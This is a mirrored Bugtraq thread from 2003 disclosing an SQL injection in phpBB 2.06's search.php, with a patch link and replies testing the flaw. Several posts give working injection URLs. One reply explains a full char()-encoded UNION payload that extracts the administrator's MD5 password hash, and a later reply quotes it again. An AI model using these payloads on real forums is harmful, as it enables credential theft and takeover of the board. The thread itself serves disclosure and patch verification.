Likes Likes:  0
Resultaten 1 tot 5 van de 5
Geen
  1. #1
    n.teusink@planet.nl
    phpBB 2.06 search.php SQL injection
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    phpBB 2.06 search.php SQL injection

    Hello bugtraq readers,

    A vulnerability exists in phpBB 2.06 that could allow an attacker to manipulate SQL
    queries and gain administrative control over the forum.
    The search.php script of the application does not sufficiently sanitize the input of the
    "search_id" parameter. As a result of this an attacker could manipulate the SQL
    query the script performs and potentially extract information such as password
    hashes from the database.

    Impact
    -----------

    The impact depends on the database solution in use. When testing the bug with
    MySQL 4 on Apache 2 with PHP4, I was able to obtain my board administrator MD5
    password hash. Armed with this hash an attacker could modify his cookie accordingly
    and log in as administrator without having to decode the hash. The attacker would
    then have complete control over the board and could execute other SQL queries from
    the admin panel.

    Patch
    -----------

    I notified the the phpBB 2.06 developers and they have patched the script. phpBB
    users should download the latest 2.06 version from http://www.phpbb.com
    A way to manually fix the issue can be found here:
    http://www.phpbb.com/phpBB/viewtopic.php?t=153818

    A simple way to test if the bug is patched is:
    http://your_site/phpBB2/search.php?search_id=1\
    If patched, this should return the message "No topics or posts met your search
    criteria". If unpatched you will get an SQL error (or just a general error if DEBUG
    mode is off).

    Cheers,

    Niels Teusink

    www.teusink.net

  2. #2
    n.teusink@planet.nl
    phpBB 2.06 search.php SQL injection
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: phpBB 2.06 search.php SQL injection

    An exploit has been released by bugtraq by some other group, the issue is
    unfortunately not minor... As the exploit shows, the trick is to mimic a search_array.
    I was planning on releasing more technical details later, when everybody had a
    chance to patch his/her forum.

    About my test URL, you are absolutely right, the test url does not work. This is
    because in my original mail, the test url was:
    http://your_site/phpBB2/search.php?search_id=1[backslash]
    somewhere along the way, that backslash ended up just escaping the newline
    character. My sincere apologies for the problems this may have caused.

    Niels



    zarath AT knightsofchaos DOT com wrote:

    Greetings BugTraq,

    I have tested this vulnerability fairly extensively since it was announced on
    phpBB.com.
    Even though the version I'm using clearly has the vulnerable code it in,
    it does not seem to work as easily as this is being made out. My server is running
    PHP 4.3.4, and MySQL 4.0.15. The way I tested (which you didn't provide any proof
    of concept code) was through a UNION command ->
    http://yourdomain/yourforums/search.php?search_id=1
    UNION select `user_password` from `phpbb_users` where user_id=1/*


    However, due to the fact that it uses an array function to pull all the relative
    information
    and the hash returns a single value without the seperators, it won't
    acknowledge that a result was returned.

    If you try -> http://yourdomain/yourforums/search.php?search_id=1 or 1=1 UNION
    select
    `user_password` from `phpbb_users` where user_id=1/*
    It will return all search results, but since it will only handle the first returned
    column and doesn't loop over them, it still won't display the password hash.

    From what I've tried so far, this doesn't really seem to be a critical vulnerability
    -- just an SQL injection that would allow you to get maybe the prefix of the
    forum tables or other insignifcant information.

    The SQL injection still exists if that URL you specified
    "http://your_site/phpBB2/search.php?search_id=1"
    returns "No topics or posts met your search criteria", also.
    A better way to test would be to mess with the query. Something like ->
    http://your_site/phpBB2/search.php?search_id=1
    or blah=blah if that returns a debugging
    error, that means your boards are vulnerable.

    Zarath


  3. #3
    Jay Gates
    phpBB 2.06 search.php SQL injection
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: phpBB 2.06 search.php SQL injection

    In-Reply-To: <3FC680E1.20563.5632F88@localhost>

    Greetings BugTraq,

    I have tested this vulnerability fairly extensively since it was announced on phpBB.com. Even though the version I'm using clearly has the vulnerable code it in, it does not seem to work as easily as this is being made out. My server is running PHP 4.3.4,
    and MySQL 4.0.15. The way I tested (which you didn't provide any proof of concept code) was through a UNION command -> http://yourdomain/yourforums/search.php?search_id=1 UNION select `user_password` from `phpbb_users` where user_id=1/*

    However, due to the fact that it uses an array function to pull all the relative information and the hash returns a single value without the seperators, it won't acknowledge that a result was returned.

    If you try -> http://yourdomain/yourforums/search.php?search_id=1 or 1=1 UNION select `user_password` from `phpbb_users` where user_id=1/*
    It will return all search results, but since it will only handle the first returned column and doesn't loop over them, it still won't display the password hash.

    From what I've tried so far, this doesn't really seem to be a critical vulnerability -- just an SQL injection that would allow you to get maybe the prefix of the forum tables or other insignifcant information.

    The SQL injection still exists if that URL you specified "http://your_site/phpBB2/search.php?search_id=1" returns "No topics or posts met your search criteria", also. A better way to test would be to mess with the query. Something like -> http://your_site
    /phpBB2/search.php?search_id=1 or blah=blah if that returns a debugging error, that means your boards are vulnerable.

    Zarath

    >Received: (qmail 3146 invoked from network); 27 Nov 2003 21:52:56 -0000
    >Received: from outgoing3.securityfocus.com (205.206.231.27)
    > by mail.securityfocus.com with SMTP; 27 Nov 2003 21:52:56 -0000
    >Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
    > by outgoing3.securityfocus.com (Postfix) with QMQP
    > id 6EAECA30FC; Thu, 27 Nov 2003 15:01:17 -0700 (MST)
    >Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
    >Precedence: bulk
    >List-Id: <bugtraq.list-id.securityfocus.com>
    >List-Post: <mailto:bugtraq@securityfocus.com>
    >List-Help: <mailto:bugtraq-help@securityfocus.com>
    >List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
    >List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
    >Delivered-To: mailing list bugtraq@securityfocus.com
    >Delivered-To: moderator for bugtraq@securityfocus.com
    >Received: (qmail 2776 invoked from network); 27 Nov 2003 15:43:59 -0000
    >Date: Thu, 27 Nov 2003 22:55:29 +0100
    >From: n.teusink@planet.nl
    >Subject: phpBB 2.06 search.php SQL injection
    >To: bugtraq@securityfocus.com
    >Message-id: <3FC680E1.20563.5632F88@localhost>
    >MIME-version: 1.0
    >X-Mailer: Pegasus Mail for Windows (v4.02)
    >Content-type: text/plain; charset=US-ASCII
    >Content-transfer-encoding: 7BIT
    >Content-description: Mail message body
    >Priority: normal
    >
    >Hello bugtraq readers,
    >
    >A vulnerability exists in phpBB 2.06 that could allow an attacker to manipulate SQL
    >queries and gain administrative control over the forum.
    >The search.php script of the application does not sufficiently sanitize the input of the
    >"search_id" parameter. As a result of this an attacker could manipulate the SQL
    >query the script performs and potentially extract information such as password
    >hashes from the database.
    >
    >Impact
    >-----------
    >
    >The impact depends on the database solution in use. When testing the bug with
    >MySQL 4 on Apache 2 with PHP4, I was able to obtain my board administrator MD5
    >password hash. Armed with this hash an attacker could modify his cookie accordingly
    >and log in as administrator without having to decode the hash. The attacker would
    >then have complete control over the board and could execute other SQL queries from
    >the admin panel.
    >
    >Patch
    >-----------
    >
    >I notified the the phpBB 2.06 developers and they have patched the script. phpBB
    >users should download the latest 2.06 version from http://www.phpbb.com
    >A way to manually fix the issue can be found here:
    >http://www.phpbb.com/phpBB/viewtopic.php?t=153818
    >
    >A simple way to test if the bug is patched is:
    >http://your_site/phpBB2/search.php?search_id=1If patched, this should return the message "No topics or posts met your search
    >criteria". If unpatched you will get an SQL error (or just a general error if DEBUG
    >mode is off).
    >
    >Cheers,
    >
    >Niels Teusink
    >
    >www.teusink.net
    >


  4. #4
    Hat-Squad Security Team
    phpBB 2.06 search.php SQL injection
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: phpBB 2.06 search.php SQL injection

    In-Reply-To: <3FC7D97E.22063.167ABDD@localhost>

    A explanation about the released exploit code:

    phpBB stores the search records in serialized format in php_search_result table.in our case when search_id is not one of these values ('newposts' || 'egosearch' || 'unanswered' |)) then this routine will be run:

    //code snnipset from search.php

    $search_id = intval($search_id);
    if ( $search_id )
    {
    $sql = "SELECT search_array
    FROM " . SEARCH_TABLE . "
    WHERE search_id = $search_id
    AND session_id = '". $userdata['session_id'] . "'";
    if ( !($result = $db->sql_query($sql)) )
    {

    //

    as you can see intval($search_id) is not safe, so the first idea in a Mysql>4 enviroment would be :

    search_id=1 union select user_password from php_users where user_id=[uid] /*

    /* will remark the rest of Sql string (AND session_id = '". $userdata['session_id'] . "'")

    but if you run this query you will get nothing useful, seeking the rest of code in search.php we find:

    //code snnipset from search.php


    $search_data = unserialize($row['search_array']);
    for($i = 0; $i < count($store_vars); $i++)
    {
    $$store_vars[$i] = $search_data$store_vars[$i]];
    }
    }
    }
    }

    //
    // Look up data ...
    //
    if ( $search_results != '' ) {
    //run search queries on post_ids,... then DISPLAY results(and our requested password


    feeding our query to this code the $row['search_array']) will have MD5 hash of uid BUT remeber IT MUST BE IN Serialized format to be consider by the rest of the code responsible for DISPLAYING result sets,So we must build a query to return PASSWORD HASH i
    n the form of serialized variables(To learn more about Serialize and unserialize functions see php manual).
    a simple serialized string variable $a="test" will be stored like this: a:1:{s:0:"";s:4:"test";}
    and a serialized result set in search.php has this format:
    a:7:{s:14:"search_results";s:28:"5184,,5538,,5721, ,5776,,5979";s:17:"total_match_count";i:5;s:12:"sp lit_search";a:1:{i:0;s:8:"aaaaaa";}s:7:"sort_by";i :0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s :6:"topics";s:12:"return_chars";i:200;}

    we will place user_password as split_search instead of "aaaaaa". using MySql concat() and char() functions with ASCII code format of the above serilized object:

    concat(char(97,58,55,58,123,115,58,49,52,58,34,115 ,101,97,114,99,104,95,114,101,115,117,108,116,115, 34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34, 116,111,116,97,108,95,109,97,116,99,104,95,99,111, 117,110,116,34,59,105,58,53,59,115,58,49,50,58,34, 115,1
    12,108,105,116,95,115,101,97,114,99,104,34,59,97,5 8,49,58,123,105,58,48,59,115,58,51,50,58,34),user_ password,char(34,59,125,115,58,55,58,34,115,111,11 4,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34 ,115,111,114,116,95,100,105,114,34,59,115,58,52,58 ,34,6
    8,69,83,67,34,59,115,58,49,50,58,34,115,104,111,11 9,95,114,101,115,117,108,116,115,34,59,115,58,54,5 8,34,116,111,112,105,99,115,34,59,115,58,49,50,58, 34,114,101,116,117,114,110,95,99,104,97,114,115,34 ,59,105,58,50,48,48,59,125))

    (the CHAR function and ascii codes are used to bypass sql string ecape)

    and the final qury would be :
    http://site.com/search.php?search_id...elect%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,9 7,114,99,104,95,114,101,115,117,108,116,115,34,59, 115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,11 1,116,97,108,95,109,97,116,99,104,95,99,1
    11,117,110,116,34,59,105,58,53,59,115,58,49,50,58, 34,115,112,108,105,116,95,115,101,97,114,99,104,34 ,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,3 4),user_password,char(34,59,125,115,58,55,58,34,11 5,111,114,116,95,98,121,34,59,105,58,48,59,115,58, 56,58
    ,34,115,111,114,116,95,100,105,114,34,59,115,58,52 ,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,10 4,111,119,95,114,101,115,117,108,116,115,34,59,115 ,58,54,58,34,116,111,112,105,99,115,34,59,115,58,4 9,50,58,34,114,101,116,117,114,110,95,99,104,97,11 4,115
    ,34,59,105,58,50,48,48,59,125))%20from%20phpbb_use rs%20where%20user_id=[id]/*


    running this query will return possible search results AND ALSO MD5 has as search_split.

    Thanks,

    Hat-Squad Security Team


    >zarath AT knightsofchaos DOT com wrote:
    >
    >Greetings BugTraq,
    >
    >I have tested this vulnerability fairly extensively since it was announced on
    >phpBB.com.
    >Even though the version I'm using clearly has the vulnerable code it in,
    >it does not seem to work as easily as this is being made out. My server is running
    >PHP 4.3.4, and MySQL 4.0.15. The way I tested (which you didn't provide any proof
    >of concept code) was through a UNION command ->
    >http://yourdomain/yourforums/search.php?search_id=1
    >UNION select `user_password` from `phpbb_users` where user_id=1/*
    >
    >
    >However, due to the fact that it uses an array function to pull all the relative
    >information
    >and the hash returns a single value without the seperators, it won't
    >acknowledge that a result was returned.
    >
    >If you try -> http://yourdomain/yourforums/search.php?search_id=1 or 1=1 UNION
    >select
    >`user_password` from `phpbb_users` where user_id=1/*
    >It will return all search results, but since it will only handle the first returned
    >column and doesn't loop over them, it still won't display the password hash.
    >
    >From what I've tried so far, this doesn't really seem to be a critical vulnerability
    >-- just an SQL injection that would allow you to get maybe the prefix of the
    >forum tables or other insignifcant information.
    >
    >The SQL injection still exists if that URL you specified
    >"http://your_site/phpBB2/search.php?search_id=1"
    >returns "No topics or posts met your search criteria", also.
    >A better way to test would be to mess with the query. Something like ->
    >http://your_site/phpBB2/search.php?search_id=1
    >or blah=blah if that returns a debugging
    >error, that means your boards are vulnerable.
    >
    >Zarath
    >
    >


  5. #5
    Jay Gates
    phpBB 2.06 search.php SQL injection
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: phpBB 2.06 search.php SQL injection

    In-Reply-To: <20031129073514.18236.qmail@sf-www2-symnsj.securityfocus.com>

    This proof of concept code isn't very reliable. The string that is returned from the char functions returns this ->
    a:7:{s:14:"search_results";s:1:"1";s:17:"total_mat ch_count";i:5;s:12:"split_search";a:1:{i:0;s:32:"[md5 hash]";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:1 2:"show_results";s:6:"topics";s:12:"return_chars"; i:200;}

    While this is a correct search array, the number "1" after "search_results";s:1: is the number of the post it refers to. For this proof of concept code to work the post with ID number 1 must exist and the user using the proof of concept code must have acc
    ess to the post. This makes it a little tricky to give a sound proof of concept code.

    The md5 hash is also returned as a highlight variable in the found post.

    If post #1 is deleted, you'll need to recreate the string char set for it to work correctly. Hopefully this helps anyone testing it and thinking "my forums aren't vulnerable".


    Zarath

    >In-Reply-To: <3FC7D97E.22063.167ABDD@localhost>
    >
    >A explanation about the released exploit code:
    >
    >phpBB stores the search records in serialized format in php_search_result table.in our case when search_id is not one of these values ('newposts' || 'egosearch' || 'unanswered' |)) then this routine will be run:
    >
    >//code snnipset from search.php
    >
    >$search_id = intval($search_id);
    > if ( $search_id )
    > {
    > $sql = "SELECT search_array
    > FROM " . SEARCH_TABLE . "
    > WHERE search_id = $search_id
    > AND session_id = '". $userdata['session_id'] . "'";
    > if ( !($result = $db->sql_query($sql)) )
    > {
    >
    >//
    >
    >as you can see intval($search_id) is not safe, so the first idea in a Mysql>4 enviroment would be :
    >
    >search_id=1 union select user_password from php_users where user_id=[uid] /*
    >
    >/* will remark the rest of Sql string (AND session_id = '". $userdata['session_id'] . "'")
    >
    >but if you run this query you will get nothing useful, seeking the rest of code in search.php we find:
    >
    >//code snnipset from search.php
    >
    >
    >$search_data = unserialize($row['search_array']);
    > for($i = 0; $i < count($store_vars); $i++)
    > {
    > $$store_vars[$i] = $search_data$store_vars[$i]];
    > }
    > }
    > }
    > }
    >
    > //
    > // Look up data ...
    > //
    > if ( $search_results != '' ) {
    >//run search queries on post_ids,... then DISPLAY results(and our requested password
    >
    >
    >feeding our query to this code the $row['search_array']) will have MD5 hash of uid BUT remeber IT MUST BE IN Serialized format to be consider by the rest of the code responsible for DISPLAYING result sets,So we must build a query to return PASSWORD HASH

    in the form of serialized variables(To learn more about Serialize and unserialize functions see php manual).
    >a simple serialized string variable $a="test" will be stored like this: a:1:{s:0:"";s:4:"test";}
    >and a serialized result set in search.php has this format:
    >a:7:{s:14:"search_results";s:28:"5184,,5538,,5721 ,,5776,,5979";s:17:"total_match_count";i:5;s:12:"s plit_search";a:1:{i:0;s:8:"aaaaaa";}s:7:"sort_by"; i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results"; s:6:"topics";s:12:"return_chars";i:200;}
    >
    >we will place user_password as split_search instead of "aaaaaa". using MySql concat() and char() functions with ASCII code format of the above serilized object:
    >
    >concat(char(97,58,55,58,123,115,58,49,52,58,34,11 5,101,97,114,99,104,95,114,101,115,117,108,116,115 ,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34 ,116,111,116,97,108,95,109,97,116,99,104,95,99,111 ,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34 ,115,

    112,108,105,116,95,115,101,97,114,99,104,34,59,97, 58,49,58,123,105,58,48,59,115,58,51,50,58,34),user _password,char(34,59,125,115,58,55,58,34,115,111,1 14,116,95,98,121,34,59,105,58,48,59,115,58,56,58,3 4,115,111,114,116,95,100,105,114,34,59,115,58,52,5 8,34,
    68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,1 19,95,114,101,115,117,108,116,115,34,59,115,58,54, 58,34,116,111,112,105,99,115,34,59,115,58,49,50,58 ,34,114,101,116,117,114,110,95,99,104,97,114,115,3 4,59,105,58,50,48,48,59,125))
    >
    >(the CHAR function and ascii codes are used to bypass sql string ecape)
    >
    >and the final qury would be :
    >http://site.com/search.php?search_id...elect%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,9 7,114,99,104,95,114,101,115,117,108,116,115,34,59, 115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,11 1,116,97,108,95,109,97,116,99,104,95,99,

    111,117,110,116,34,59,105,58,53,59,115,58,49,50,58 ,34,115,112,108,105,116,95,115,101,97,114,99,104,3 4,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58, 34),user_password,char(34,59,125,115,58,55,58,34,1 15,111,114,116,95,98,121,34,59,105,58,48,59,115,58 ,56,5
    8,34,115,111,114,116,95,100,105,114,34,59,115,58,5 2,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,1 04,111,119,95,114,101,115,117,108,116,115,34,59,11 5,58,54,58,34,116,111,112,105,99,115,34,59,115,58, 49,50,58,34,114,101,116,117,114,110,95,99,104,97,1 14,11
    5,34,59,105,58,50,48,48,59,125))%20from%20phpbb_us ers%20where%20user_id=[id]/*
    >
    >
    >running this query will return possible search results AND ALSO MD5 has as search_split.
    >
    >Thanks,
    >
    >Hat-Squad Security Team
    >


Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics